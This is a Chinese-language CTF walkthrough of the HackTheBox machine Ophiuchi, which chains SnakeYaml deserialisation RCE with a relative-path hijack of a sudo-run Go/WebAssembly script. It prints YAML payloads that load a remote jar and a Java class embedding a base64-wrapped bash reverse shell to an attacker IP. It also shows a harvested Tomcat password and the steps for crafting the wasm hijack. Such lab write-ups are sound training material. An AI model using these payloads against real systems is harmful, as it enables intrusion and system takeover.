Ophiuchi Writeup

2167 2022-03-14 22:04:53 HackTheBox HTB, Tomcat, Golang, Java, Deserialisation, Linux, Hijacking,

概述 （Overview）

image

HOST：10.10.10.227
时间: 2021-08-09
机器作者: felamos
困难程度: Medium
MACHINE TAGS:
* Web
* Java
* Deserialisation
* Golang
* Source Code Review

攻击链 （Kiillchain）

通过使用 Nmap 枚举出目标服务的暴露端口，对运行在 8080 端口上的 Web 服务进行 Fuzzing 得到错误堆栈，从堆栈信息中确定使用的 SnakeYaml 存在反序列化 RCE 漏洞，使用该漏洞成功获得在目标服务器上的立足点。

在 tomcat 配置文件中找到了 admin 用户的口令，随后进行 SSH 登录。对 SUDO 允许执行的 GO 脚本进行代码审计，最终构造可触发权限提升的 .wasm 文件。

枚举（Enumeration）

老规矩，依然是在 Kali 上通过 Nmap 进行起手，对目标服务器开放端口进行枚举：

$ nmap -p- -sT -sC -T4 --min-rate 500 --reason -oA Ports -v 10.10.10.227
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack
| ssh-hostkey:
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http-proxy syn-ack
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Parse YAML

Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Aug  9 21:21:32 2021 -- 1 IP address (1 host up) scanned in 137.59 seconds

通过上述扫描结果可以知道目标服务器仅暴露了两个端口（22、8080），暂时不知道运行在那种服务器上，不过概率是 Linux 系统。

Port 8080 - Parse YAML

通过浏览器访问 8080 端口，发现它运行着一个 Web 服务器，结合 title 和页面内容发现该服务是用于解析 YAML 语言的。

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但是当我们提交内容时，HTTP 将会返回如下内容（该功能出于安全考虑已经停用）：

Due to security reason this feature has been temporarily on hold. We will soon fix the issue!

YAML 是专门用来写配置文件的语言，比如我们常见的 .yml 后缀名结尾的文件。

YAML 的语法和其他高级语言类似，并且可以简单表达清单、散列表，标量等数据形态。它使用空白符号缩进和大量依赖外观的特色，特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲。 – 菜鸟教程

结合该语言的格式，生成了一些特殊字符进行提交，尝试 Fuzzing 一下看看是否存在异常：

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返回的结果和预期的一致，从错误格式和 debug 堆栈信息可以推断出当前服务是 Java 程序。 仔细观察堆栈，使用的解析 YAML 语言的服务叫 org.yaml.snakeyaml。

立足点（Foothold）

结合上述信息并在 Google 中进行搜索，成功找到了对目标服务器进行 RCE 的攻击实例：

SnakeYaml 反序列化漏洞 - https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/

漏洞的产生原因是由于解析了不受信任的 YAML 数据（`!!`做为特殊功能出现，该语法允许在解析 YAML 数据时调用任何 Java 类的构造函数，即 (!!<java 类构造函数>)），从而引起的任意代码执行。

提交 payload 进行漏洞验证：

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.16.3/"]
  ]]
]

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OK，验证后漏洞是存在的，目标服务器请求了我本地起的 Web 服务。并且我注意到它会自动加载 /META-INF/services/javax.script.ScriptEngineFactory 进行序列化。

顺着这个思路找个漏洞利用文章，构造对目标服务器的 RCE 链：

https://pulsesecurity.co.nz/advisories/Insecure-YAML-Deserialisation

下载 https://github.com/artsploit/yaml-payload 库，随后修改 AwesomeScriptEngineFactory.java 文件内容：

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
import java.util.Base64;
import java.util.concurrent.TimeUnit;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
    public AwesomeScriptEngineFactory() {
        try {
            //Runtime.getRuntime().exec("digscriptengine.x.artsploit.com");
            //Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
            String cmd = "bash -i >& /dev/tcp/10.10.16.3/9900 0>&1"; // <-- your actual command here
            String b64Cmd = Base64.getEncoder().encodeToString(cmd.getBytes());
            cmd = "bash -c {echo,"+b64Cmd+"}|{base64,-d}|{bash,-i}"; // *nix only
            Runtime.getRuntime()
                    .exec(cmd)
                    .waitFor(30, TimeUnit.SECONDS); //increase this probably
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
... snip ...

随后要利用到 Javac 进行二进制编译、打包构建。没有 Java 的话需要自行安装一下：

$ apt install default-jdk

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构建完成后需要启动 web 服务器，随后发送新的 Payload 拿到立足点。

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.16.3/yaml-payload.jar"]
  ]]
]

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横向移动（Lateral Movement）

在寻找 User Flag 时遇到权限问题，当前的 shell 身份是 tomcat，而 Flag 在 admin 用户下可见：

$ ls -la /home/admin
-r-------- 1 admin admin   33 Aug  9 13:08 user.txt
... snip ...

所以我们需要进行横向移动，在使用 find 搜索 tomcat 用户可访问的内容时，发现 tomcat 的配置文件 /opt/tomcat/conf/tomcat-users.xml 是有权限进行访问的。在里面成功找到 admin 用户的口令。

<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

随后使用该口令成功已 admin 用户进行登录：

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权限提升（Privilege Escalation）

在查看 admin 用户下的 SUDO 目前可执行的指令时，发现可以使用 root 身份运行 go 去执行 index.go 文件：

admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

查看 /opt/wasm-functions/index.go 文件代码：

package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)


func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

首先注意到代码中加载了 os.exec，而这个库常用于做命令执行，所以在做代码审计的时候要首先找这种高危的函数及库。通过阅读代码，在 12 行的时候加载了一个外部的 main.wasm 文件。

Wasmer 是一个用于在服务器上执行 WebAssembly 的开源运行时。支持基于 WebAssembly 的超轻量级容器，该容器可以在任何地方运行，还可以嵌入其他编程语言

所以，整段代码的运行逻辑是：

  • 以字节形式读取 WebAssembly 模块（main.wasm）
  • 实例化 WebAssembly 模块
  • 从 WebAssembly 实例获取 info 函数
  • 函数内容不存在则输出提示字符串
  • 函数存在则通过 exec 库执行 “/bin/sh” 运行 “deploy.sh”，打印脚本运行结果。
    进入对应文件目录，首先查看文件夹内文件权限，main.wasm 与 deploy.sh 均是当前用户无法编辑的。好消息是脚本中并没有写绝对路径，那么我们只需要在执行 sudo 语句的文件夹内创建这两个文件，按照 shell 执行的优先级，会先找当前路径下同名文件。
admin@ophiuchi:/opt/wasm-functions$ find . -ls
  1057188      4 drwxr-xr-x   3 root     root         4096 Oct 14  2020 .
  1322036   2460 -rwxr-xr-x   1 root     root      2516736 Oct 14  2020 ./index
  1321998      4 -rw-rw-r--   1 root     root          522 Oct 14  2020 ./index.go
  1057205      4 -rw-r--r--   1 root     root           88 Oct 14  2020 ./deploy.sh
  1322001   1448 -rwxrwxr-x   1 root     root      1479371 Oct 14  2020 ./main.wasm
  1057190      4 drwxr-xr-x   2 root     root         4096 Oct 14  2020 ./backup
  1057210      4 -rw-r--r--   1 root     root          522 Oct 14  2020 ./backup/index.go
  1057206      4 -rw-r--r--   1 root     root           88 Oct 14  2020 ./backup/deploy.sh
  1057211   1448 -rwxr-xr-x   1 root     root      1479371 Oct 14  2020 ./backup/main.wasm

简单测试下是否可以进行 Hijacking：

image

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可以看到，当我在 /tmp 目录下执行后代码退出在 17 行，说明对 main.wasm 的 Hijacking 是成功的。

接着开始找原因，参考下图文章内容进行利用：

将 WebAssembly 文本格式转换为 wasm - https://developer.mozilla.org/zh-CN/docs/WebAssembly/Text_format_to_wasm

image

使用 https://github.com/WebAssembly/wabt 库，最终构建有效的 main.wasm 文件。

期间需要安装 apt install wabt 命令，使用该命令可以将 main.wasm 传为 .wat 文件方便我们阅读：

$ wasm2wat /opt/wasm-functions/main.wasm -o main.wat
$ cat main.wat
(module
  (type (;0;) (func (result i32)))
  (func $info (type 0) (result i32)
    i32.const 0)
  (table (;0;) 1 1 funcref)
  (memory (;0;) 16)
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))
  (global (;2;) i32 (i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func $info))
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))

从中可以看到第 6 行中，i32.const 后没是 0 ，我们只需要将其改为 1 后重新生成即可。

...snip...
  (func $info (type 0) (result i32)
    i32.const 1)
...snip...
$ wat2wasm main.wat -o main2.wasm
$ cp main2.wasm /tmp/main.wasm

而我的 deploy.sh 内容也很简单，就是将 /root/root.txt 文件拷贝到 /tmp 文件夹。

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当然，你也可以改写成权限提升命令。

参考

  • https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858
  • https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf?utm_source=dlvr.it&utm_medium=twitter
  • https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/


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